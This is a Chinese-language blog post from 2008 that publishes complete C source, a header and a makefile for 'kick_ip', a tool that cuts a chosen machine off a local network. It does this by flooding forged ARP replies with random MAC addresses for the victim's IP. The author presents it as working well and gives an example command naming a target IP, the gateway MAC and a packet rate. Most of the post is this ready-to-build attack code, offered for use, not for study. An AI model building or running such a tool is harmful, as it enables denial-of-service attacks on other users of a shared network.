Chinaunix首页 | 论坛 | 博客

  • 博客访问: 916078
  • 博文数量: 226
  • 博客积分: 10077
  • 博客等级: 上将
  • 技术积分: 2708
  • 用 户 组: 普通用户
  • 注册时间: 2008-05-25 14:36
文章分类

全部博文(226)

文章存档

2010年(15)

2009年(82)

2008年(129)

我的朋友

分类: C/C++

2008-08-16 22:33:08

东拼西凑来的一段代码 没有什么新意 也没什么技术含量
功能很简单 就是让某个IP上不了网 实际使用效果非常好
适用环境: 基于广播通信的局域网
使用格式 $ sudo kick_ip 你要攻击的IP地址 网关的MAC地址 每秒的频率

e.g.:
$sudo ./kick_ip 202.200.229.122 00:07:0E:E8:3E:1F 10


my_send_arp.h

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <string.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define ARP_REQUEST 2
#define ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"

struct arp_packet
{
    u_char targ_hw_addr[ETH_HW_ADDR_LEN];
    u_char src_hw_addr[ETH_HW_ADDR_LEN];
    u_short frame_type;
    u_short hw_type;
    u_short prot_type;
    u_char hw_addr_size;
    u_char prot_addr_size;
    u_short op;
    u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
    u_char sndr_ip_addr[IP_ADDR_LEN];
    u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
    u_char rcpt_ip_addr[IP_ADDR_LEN];
    u_char padding[18];
};

void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int send_arp(char *src_ip, char *src_hw, char *tg_ip, char *tg_hw, u_short op);




my_send_arp.c

#include "my_send_arp.h"

int send_arp(char *src_ip, char *src_hw, char *tg_ip, char *tg_hw, u_short op)
{
    struct in_addr src_in_addr, targ_in_addr;
    struct arp_packet pkt;
    struct sockaddr sa;
    int sock;
    sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
    pkt.frame_type = htons(ARP_FRAME_TYPE);
    pkt.hw_type = htons(ETHER_HW_TYPE);
    pkt.prot_type = htons(IP_PROTO_TYPE);
    pkt.hw_addr_size = ETH_HW_ADDR_LEN;
    pkt.prot_addr_size = IP_ADDR_LEN;
    pkt.op = htons(op);
    get_hw_addr(pkt.targ_hw_addr, tg_hw);
    get_hw_addr(pkt.rcpt_hw_addr, tg_hw);
    get_hw_addr(pkt.src_hw_addr, src_hw);
    get_hw_addr(pkt.sndr_hw_addr, src_hw);
    get_ip_addr(&src_in_addr, src_ip);
    get_ip_addr(&targ_in_addr, tg_ip);
    memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
    memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
    memset(pkt.padding, 0, 18);
    strcpy(sa.sa_data, DEFAULT_DEVICE);
    sendto(sock,&pkt,sizeof(pkt),MSG_DONTWAIT,&sa,sizeof(sa));
    close(sock);
}

void get_ip_addr (struct in_addr *in_addr, char *str)
{
    struct hostent *hostp;
    in_addr->s_addr = inet_addr(str);
}

void get_hw_addr (char *buf, char *str)
{

    int i;

    char c, val;
    for(i = 0; i < ETH_HW_ADDR_LEN; i++) {
        c = tolower(*str++);
        if (isdigit(c))
            val = c - '0';
        else
            val = c-'a'+10;
        *buf = val << 4;
        c = tolower(*str++);
        if (isdigit(c))
            val = c - '0';
        else
            val = c-'a'+10;
        *buf++ |= val;
        if (*str == ':')
            str++;
    }
}




kick_ip.c

#include <unistd.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include "my_send_arp.h"

char *get_mac();

int main(int argc, char *argv[])
{
    int count=1, de=1000000/atoi(argv[3]);
    if(argc!=4)
        return 0;
    srand(time(NULL));
    while(1){
        printf("Package %d\n", count++);
        send_arp(argv[1], get_mac(), "202.0.0.0", argv[2], ARP_REQUEST);
        usleep(de);
    }
}

char *get_mac()
{
    static char mac[20]={'0', '0', '\0'};
    char *p=mac+2;
    int i;
    for(i=0; i<5; i++){
        *p++=':';
        sprintf(p, "%x", rand()%16);
        sprintf(p+1, "%x", rand()%16);
        p++;
    }
    return mac;
}



makefile
kick_ip: kick_ip.o my_send_arp.o
    @cc kick_ip.o my_send_arp.o -o kick_ip

kick_ip.o: kick_ip.c
    @cc -c kick_ip.c -o kick_ip.o

my_send_arp.o:my_send_arp.c
    @cc -c my_send_arp.c -o my_send_arp.o

.PHONY: clean

clean:
    @-rm kick_ip kick_ip.o my_send_arp.o
阅读(1417) | 评论(1) | 转发(0) |
给主人留下些什么吧!~~

chinaunix网友2009-08-03 09:12:18

define ARP_REQUEST 2 这个抓包看了下,好像是REPLY的包